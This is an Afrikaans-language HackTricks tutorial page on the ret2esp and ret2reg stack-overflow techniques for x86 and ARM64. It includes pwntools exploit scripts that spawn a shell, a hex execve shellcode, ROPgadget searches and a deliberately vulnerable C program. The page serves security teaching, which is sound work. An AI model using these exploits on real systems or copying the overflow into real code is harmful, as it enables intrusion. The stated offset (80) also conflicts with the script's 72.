Ret2esp / Ret2reg

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Ret2esp

Omdat die ESP (Stapelwysiger) altyd na die bopunt van die stapel wys, behels hierdie tegniek die vervanging van die EIP (Instruksie-aanwyser) met die adres van 'n jmp esp of call esp instruksie. Deur dit te doen, word die shellcode reg agter die oorskryfde EIP geplaas. Wanneer die ret instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor word.

Indien Adresruimte-lêrekenkundige willekeurigheid (ASLR) nie geaktiveer is in Windows of Linux nie, is dit moontlik om jmp esp of call esp instruksies wat in gedeelde biblioteke gevind word, te gebruik. Met ASLR aktief, mag jy binne die kwesbare program self moet soek vir hierdie instruksies (en jy mag PIE moet oorwin).

Verder, om die vermoë te hê om die shellcode na die EIP-korrupsie te plaas, eerder as in die middel van die stapel, verseker dat enige push of pop instruksies wat tydens die werking van die funksie uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan plaasvind as die shellcode in die middel van die funksie se stapel geplaas word.

Ruimte tekort

Indien jy ruimte kortkom om te skryf nadat RIP oorskryf is (miskien net 'n paar byte), skryf 'n aanvanklike jmp shellcode soos:

sub rsp, 0x30
jmp rsp

En skryf die shellcode vroeg in die stok.

Voorbeeld

Jy kan 'n voorbeeld van hierdie tegniek vind by https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp met 'n finale aanval soos:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Jy kan nog 'n voorbeeld van hierdie tegniek sien in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Daar is 'n buffer overflow sonder NX geaktiveer, 'n gadget word gebruik om die adres van $esp te verlaag en dan 'n jmp esp; om te spring na die shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Op soortgelyke wyse, as ons weet dat 'n funksie die adres teruggee waar die shell-kode gestoor word, kan ons call eax of jmp eax instruksies benut (bekend as die ret2eax tegniek), wat 'n ander metode bied om ons shell-kode uit te voer. Net soos eax, kan enige ander register wat 'n interessante adres bevat, gebruik word (ret2reg).

Voorbeeld

Jy kan hierdie voorbeelde vind hier:

ARM64

Ret2sp

In ARM64 is daar geen instruksies wat toelaat om te spring na die SP-register. Dit mag moontlik wees om 'n gadget te vind wat sp na 'n register skuif en dan na daardie register spring, maar in die libc van my kali kon ek nie enige gadget soos dit vind nie:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Die enigste wat ek ontdek het, sou die waarde van die register waar sp gekopieer is, verander voordat daarheen gespring word (sodat dit nutteloos sou word):

Ret2reg

As 'n register 'n interessante adres het, is dit moontlik om daarheen te spring deur net die regte instruksie te vind. Jy kan iets soos gebruik:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64, dit is x0 wat die terugkeerwaarde van 'n funksie stoor, so dit kan wees dat x0 die adres van 'n buffer stoor wat deur die gebruiker beheer word met 'n shellcode om uit te voer.

Voorbeeld kode:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Besoek die disassemblage van die funksie om te sien dat die adres van die buffer (kwesbaar vir bof en beheer deur die gebruiker) gestoor word in x0 voor terugkeer van die buffer oorvloei:

Dit is ook moontlik om die gadget br x0 in die do_stuff funksie te vind:

Ons sal daardie gadget gebruik om daarna te spring omdat die binêre lêer SONDER PIE saamgestel is. Deur 'n patroon te gebruik, is dit moontlik om te sien dat die offset van die buffer oorvloei 80 is, dus sal die aanval wees:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

As dit in plaas van fgets iets soos read gebruik was, sou dit moontlik gewees het om PIE ook te omseil deur net die laaste 2 byte van die terugkeeradres te oorskryf om terug te keer na die br x0; instruksie sonder om die volledige adres te ken. Met fgets werk dit nie omdat dit 'n nul (0x00) byte aan die einde byvoeg nie.

Beskermings

  • NX: As die stapel nie uitvoerbaar is nie, sal dit nie help nie omdat ons die shellcode op die stapel moet plaas en spring om dit uit te voer.

  • ASLR & PIE: Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated